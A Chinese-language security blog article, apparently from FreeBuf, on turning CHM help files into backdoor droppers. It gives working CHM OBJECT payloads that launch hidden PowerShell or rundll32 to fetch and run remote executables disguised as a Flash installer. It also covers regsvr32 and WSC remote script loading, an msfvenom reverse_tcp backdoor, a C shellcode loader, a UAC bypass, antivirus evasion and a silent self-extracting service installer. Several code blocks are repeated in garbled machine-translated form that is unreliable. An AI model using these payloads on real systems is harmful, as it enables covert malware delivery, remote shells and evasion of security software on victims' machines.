安全圈 | 专注于最新网络信息安全讯息新闻

首页

chm滲透:從入門到“入獄”

作者 eppolito 时间 2020-02-28
all

*本文原創作者:ruo,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載。

某日嶽兄激動的說他的chm自動反彈shell做好了,急匆匆的拿我們測試,結果…一定是出bug了,我看了下演示(對不起,我實在編不下去了)。文章給出最終版程式碼,測試的心酸擼主右手可以作證。  

第一章CHM社工 

當ithurricanept在發twitter的時候估計我在東北玩泥巴,看了Demo嚇得我趕緊注册了個twitter並且Follow了TA。

Demo程式碼應該是這樣的:

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

<PARAM name="Button"value="Bitmap::shortcut">

<PARAM name="Item1"value=',calc.exe'>

<PARAM name="Item2"value="273,1,1">

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

<OBJECT id=xclassid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1height=1>

<PARAM name=“Command”value=“ShortCut”>

<PARAM name=“Button”value=“Bitmap::shortcut”>

<PARAM name=“Item1”value=',calc.exe'>

<PARAM name=“Item2”value=“273,1,1”>

</OBJECT>

<SCRIPT>

x.Click();

</SCRIPT>

打開該CHM檔案即彈出小算盘,之後Samratashok也推出了他的Out-CHM(使用參數HHCPath指定自己的hhc路徑),使用CHM執行powershell腳本,但唯一不足就是會彈出黑框。

PS D:\nishang\Client> Import-Module.\Out-CHM.ps1

PS D:\nishang\Client> get-help Out-CHM -examples

PS D:\nishang\Client >Out-CHM-PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath " C:\ProgramFiles (x86)\HTML Help Workshop"

PS D:\nishang\Client>導入模塊。\Out-CHM.ps1

PS D:\ nishang\Client>獲取CHM幫助-示例

PS D:\ nishang\Client>Out CHM PayloadURL http://192.168.254.1/Get-Information.ps1-HHCPath“C:\程式檔案(x86)\ HTML幫助研討會”

##反編譯CHM

hh -decompile test doc.chm 

##Out-CHM PAYLOAD 

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1 height=1>

<PARAM name="Command" value="ShortCut">

<PARAM name="Button" value="Bitmap::shortcut">

<PARAM name="Item1" value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX ((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/Get-Information.ps1'));">

<PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

hh -decompile test doc.chm 

##Out-CHM PAYLOAD 

<OBJECT id=x classid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1 height=1>

<PARAM name=“Command”value=“ShortCut”>

<PARAM name=“Button”value=“Bitmap::shortcut”>

<PARAM name=“Item1”value=“,cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/ Get-Information.ps1'));”>

<PARAM name=“Item2”value=“273,1,1”>

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

##有用連結

ithurricanept

https://twitter.com/ithurricanept/status/534993743196090368

HTML Help Workshop

http://www.microsoft.com/en-us/download/details.aspx?id=21138

nishang

https://github.com/samratashok/nishang 

第二章討厭的黑框

nishang的黑框真的很讓人捉急,不知道他找到解決辦法了沒,但是國內聰明的Evi1cg在某個晚上突然就想到了,反正他是這麼說的。

通過rundll32.exe執行js

rundll32.exejavascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

Rundll32漏洞配合JSRAT做出了近乎完美的後門,寫入註冊表即可實現開機啟動。

注册腳本組件

regsvr32.exe /u /n /s/i:http://10.10.10.10:31337/file.sct scrobj.dll 

##有用連結

evi1cg

http://evi1cg.me/archives/chm_backdoor.html

從惡意軟件獲得的新姿勢—通過rundll32.exe執行js原理詳細分析

http://bobao.360.cn/learning/detail/164.html

JSRat

https://github.com/Hood3dRob1n/JSRat-Py

第三章强大的Powershell

但是我只想用它來下載一個後門並執行,於是乎開始了各種折騰。首先測試powershell的下載執行,然後嵌入rundll32測試,最後生成CHM再測試。 

##Powershell下載並執行

powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/sn.exe','..\\sn.exe');&cmd/c ..\\sn.exe

Powershell的下載可謂是五花八門,最後我還是選擇了常用的DownloadFile(),將文件下載到上層目錄(當C:\沒有許可權時powershell就會將檔案直接下載到用戶目前的目錄下;env:\temp環境變數在低版本powershell中沒有;start-process -nonewwindow‘sn.exe’似乎不等待下載完成便會調用),並通過&符號連接命令運行下載的程式。 

##嵌入rundll32

rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("http://139.*.*.*/sn.exe","..\\sn.exe");&cmd/c ..\\sn.exe",0,true);

##生成CHM

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

<PARAM name="Button"value="Bitmap::shortcut">

<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe&#39;,'..\\setup.exe');&cmd/c ..\\setup.exe",0,true);'>

<PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

<OBJECT id=xclassid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1height=1>

<PARAM name=“Command”value=“ShortCut”>

<PARAM name=“Button”value=“Bitmap::shortcut”>

<PARAM name=“Item1”value=',rundll32.exe,javascript:“\..\mshtml,RunHTMLApplication”;document.write();r=new%20ActiveXObject(“WScript.Shell”).run(“powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX(New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe&#39;,'..\\setup.exe');&cmd/c ..\\setup.exe“,0,true);'>

<PARAM name=“Item2”value=“273,1,1”>

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT> 

單雙引號真的會把人逼瘋的,在CHM中需用’代替雙引號,嘗試使用base64編碼powershell命令,但是嵌入rundll32測試語法錯誤,一時無解。

##有用連結 

第四章msf後門陞級

CHM做好了,下麵製作後門。開始選用新版cobaltstrike的DNS上線,結果功能變數名稱測試都沒問題,生的的馬兒就是不上線,無奈放弃。最後選擇msf的reverse_tcp。

生成馬兒

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o /tmp/bdoor.exe  msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c

##免殺

OWASP-ZSC

可以生成下載執行,添加用戶,創建檔案等的shellcode;

聽說你可以混淆程式碼,原來只支持javascript perl php python ruby,更別說混淆現有shellcode了;

https://github.com/zscproject/OWASP-ZSC

Veil-Evasion

使用現有payload一鍵生成可執行文件。有c,python,go,ruby的meterpreter反彈後門,go和python生成的可執行文件高大4M,還不如自己使用python ctypes加載shellcode,生成exe,實用價值不大。

https://www.veil-framework.com/framework/veil-evasion/

C加載shellcode

傳說中的C語言執行shellcode的五種方法只能在VC6.0下通過,VS用戶真的傷不起。 

VC6.0

main(){

( (void(*)(void))&shellcode )(); 

}

#include <Windows.h>

#include <string.h>

#include <stdio.h>

unsigned char shellcode2[] =

         "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

         "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff";

int main(){

         PVOIDp;

         p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);

         if(p != NULL){

                  //printf("allocok");

                  if(memcpy(p,shellcode,sizeof(shellcode))){

                          //printf("cpok");

                          //CreateThread(NULL,0, (LPTHREAD_START_ROUTINE )p, NULL, 0, NULL);

                          __asm

                          {

                                   moveax,p;

                                   jmpeax;

                          }

                  }

         }

}

#include <Windows.h>

#include <string.h>

#include <stdio.h>

unsigned char shellcode2[] =

        “\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”

        “\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”;

int main(){

        PVOIDp;

        p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);

        if(p!= NULL){

                 //printf(“allocok”);

                 if(memcpy(p,shellcode,sizeof(shellcode))){

                         //printf(“cpok”);

                         //CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)p,NULL,0,NULL);

                         __asm

                         {

                                  moveax,p;

                                  jmpeax;

                         }

                 }

        }

}

話說前兩天有人發了(TM後來360也殺了),別緊張,那不是我。msf後面免殺管道多樣,但一般也不外乎以下幾點。

1,靜態檔案特徵免殺

msfvenom -l encoders提供了多種編碼方式,x86/shikata_ga_nai仍是現時excellent。但你一定會喜歡上Unest二進位程式碼混淆器的。

2,行為查殺

Cobaltstrike http上線管道請求的頁面有固定格式,msf對傳輸的數據可以异或或者加密。

3,記憶體查殺

其後我將其做成管理員組用戶執行直接繞過UAC自動安裝成服務,啟動延時3分鐘(主要是開機的時候可能還沒網,連接不成功便會結束程式),在執行繞UAC時system(“cmd.exe /c eventvwr.exe”);時有黑框,使用CreateProcess API創建這個行程。http://www.virustotal.com掃描僅F-PROT報毒(這應該是個梗)。

使用自解壓程式安裝服務

話說360看到是自解壓程式就殺,果然是這樣的。 

##自解壓程式折騰之靜默模式

1,首先能想到的就是winrar,但是winrar自解壓換個ico你都殺,一會兒殺一會兒不殺的尿性始終沒變;

2,只要是加UPX殼就殺;

3,IExpress打包啥都殺;

4,7-ZIP SFX自解壓;

5,makesfx.exe新版真心好用,測試一會兒直接殺;

6,ZIP 2 Secure EXE用起來滿滿的心累;

7,WinZip Self-Extractor完成後必須彈框是什麼意思?

8,其他管道

最後還是選用rar的自解壓,下載英文版各版本winrar,安裝後複製裡面的Default.SFX和rar.exe保存,使用不通的rar版本生成自解壓程式。

##自解壓檔案製作

創建Silent.sfx靜默安裝設定檔,其實就是注釋啦。

程式傳入bypass參數繞過UAC並安裝服務

Setup=wdevmtsvc.exe bypass

TempMode

Silent=1

Overwrite=2

Setup=wdevmtsvc.exe bypass

TempMode

Silent=1

Overwrite=2

命令列生成自解壓檔案

rar.exe a -r -ep1 -sfx-zSilent.sfx flashplayer23_ha_install.exe wdevmtsvc.exe

我以為到這裡就完了,結果…

##有用連結

Creating a Self-Extracting Setup ExecutableFile

https://msdn.microsoft.com/en-us/library/aa244282%28v=vs.60%29.aspx

makesfx

http://74.cz/en/make-sfx/index.php

Windows-Services-Application

https://github.com/ru0/Windows-Services-Application

第五章WSC

朋友說嚇了一大跳,等了半天也沒見上線。再次本地測試,發現powershell被360衛士給攔截了,尼瑪,這是啥時候開始的?無奈,為了過360只能拋弃powershell下載,使用wsc下載執行。

Windows Script Components(WSC),以前稱為Scriplets,是一種以容易的管道開發强大的COM組件的科技。WSC可以用任何實現了ActiveX腳本介面的指令碼語言來編寫,這意味著PerlScript程式碼單元可以封裝為Windows腳本組件。

Tips:當你開始看WSC的時候可能會被它繁多的標籤搞得雲裡霧裡,你可以使用scriptwz.exe嚮導生成wsc檔案,或者過一陣子再看。

##通過wsc啟動小算盘

test.wsc檔案

<?xml version="1.0"?>

<component>

<script language="JScript">

<![CDATA[

newActiveXObject("WScript.Shell").Run("calc.exe");

]]>

</script>

</component>

<?xml版本=“1.0”?>

<組件>

<script language=“JScript”>

<![CDATA飯店[

newActiveXObject(“WScript.Shell”).Run(“calc.exe”);

]]>

</script>

</component>

1.js檔案

GetObject("script:C:\\test.wsc");

執行js

cscript 1.js

加載遠程wsc,當然你也可以將下載js程式碼寫在CHM裡面,不過使用wsc程式碼更簡潔並且可以及時更新下載程式。

GetObject("script:http://xxx.xxx.xxx.xxx/test.wsc")

##下載並執行wsc腳本

<?xml version="1.0"?>

<component> 

<?component error="false"debug="false"?> 

<script language="JScript">

<![CDATA[ 

function getFile(strURL){

         varstrResult;        

         try{

                  varWinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1")

                  WinHttpReq.Open("GET",strURL,false);

                  WinHttpReq.Send();

                  WinHttpReq.WaitForResponse();

                  strResult= WinHttpReq.ResponseBody;

         }

         catch(objError){}

         returnstrResult;

} 

var s = new ActiveXObject("ADODB.Stream");

var md = newActiveXObject("WScript.Shell").SpecialFolders("MyDocuments");

md +="\\flashplayer23_ha_install.exe";

s.Mode=3;

s.Type=1;

s.Open();

try{

         s.Write(getFile("http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe"));

         s.SaveToFile(md,2);

}

catch(err){}

s.Close();

try{

         newActiveXObject("WScript.Shell").Run(md);

}

catch(err){} 

]]>

</script> 

</component>

<?xml版本=“1.0”?>

<組件>

<?組件錯誤=“false”調試=“false”?> 

<script language=“JScript”>

<![CDATA[

函數getFile(strURL){

瓦爾斯特雷蘇

試試看{

varWinHttpReq=new ActiveXObject(“WinHttp.WinHttpRequest.5.1”)

WinHttpReq.Open(“GET”,strURL,false);

WinHttpReq.Send();

WinHttpReq.WaitForResponse();

strResult=WinHttpReq.ResponseBody;

        }

捕獲(objError){}

返回結果;

var s=新的ActiveXObject(“ADODB.Stream”);

var md=newActiveXObject(“WScript.Shell”).SpecialFolders(“MyDocuments”);

md+=“\\flashplayer23_ha_install.exe”;

s、模式=3;

s、類型=1;

s、打開();

試試看{

s.Write(getFile(“http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe”);

保存檔案(md,2);

}

捕獲(錯誤){}

s、關閉();

試試看{

newActiveXObject(“WScript.Shell”).Run(md);

}

捕獲(錯誤){}

]]>

</script>

</component>

##嵌rundll32-chin

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc"); 

##CHM有效載荷

<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>

<PARAM name="Command"value="ShortCut">

 <PARAMname="Button" value="Bitmap::shortcut">

 <PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();try{GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/c taskkill /f /im rundll32.exe",0,true);}'>

 <PARAM name="Item2"value="273,1,1">

</OBJECT> 

<SCRIPT>

x.Click();

</SCRIPT>

<OBJECT id=xclassid=“clsid:adb8806-d8ff-11cf-9377-00aa003b7a11”寬度=1高度=1>

<PARAM name=“Command”value=“ShortCut”>

<PARAMname=“Button”value=“Bitmap::shortcut”>

<PARAM name=“Item1”value=“rundll32.exe,javascript:”\mshtml,RunHTMLAicationppl;document.write();嘗試GetObject(“腳本:https://xxx.xx.xxx.xxx/test.wsc”;<new%20ActiveXObject(“WScript.Shell Run”(“cmd/taskkic/runl0;”)

<PARAM name=“Item2”value=“273,1,1”>

</OBJECT>

<腳本>

x、按一下();

</SCRIPT>

.29992;.25105;.25913;.29256;.30340;.makeCHM.ps1和30452;-25509;-29983;-25104;-CHM20214;

.\makeCHM.ps1 -FileName test.htm

實際打點效果(windows/shell/reverse_tcp連接容易失去響應)

##有用連結

Windows Script Components(WSC)

http://www.xav.com/perl/Windows/windows_script_components.html

Registering a Script Component

https://msdn.microsoft.com/en-us/library/zt97f40t%28v=vs.84%29.aspx

ru0 s github

https://github.com/ru0

1,如何對CHM後門檢測。

2,msf雖然簡單易用,但是沒有會話控制,很容易遺失目標,後期可以考慮自寫回連shell程式碼。

3,對於“沒給錢”的服務360衛士檢測為“無需啟動的程式”。

4,自解壓逃不過360sd,考慮自寫解壓程式或者修改服務程式。

5,若有紕漏,還望指正。

*本文原創作者:ruo ,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載。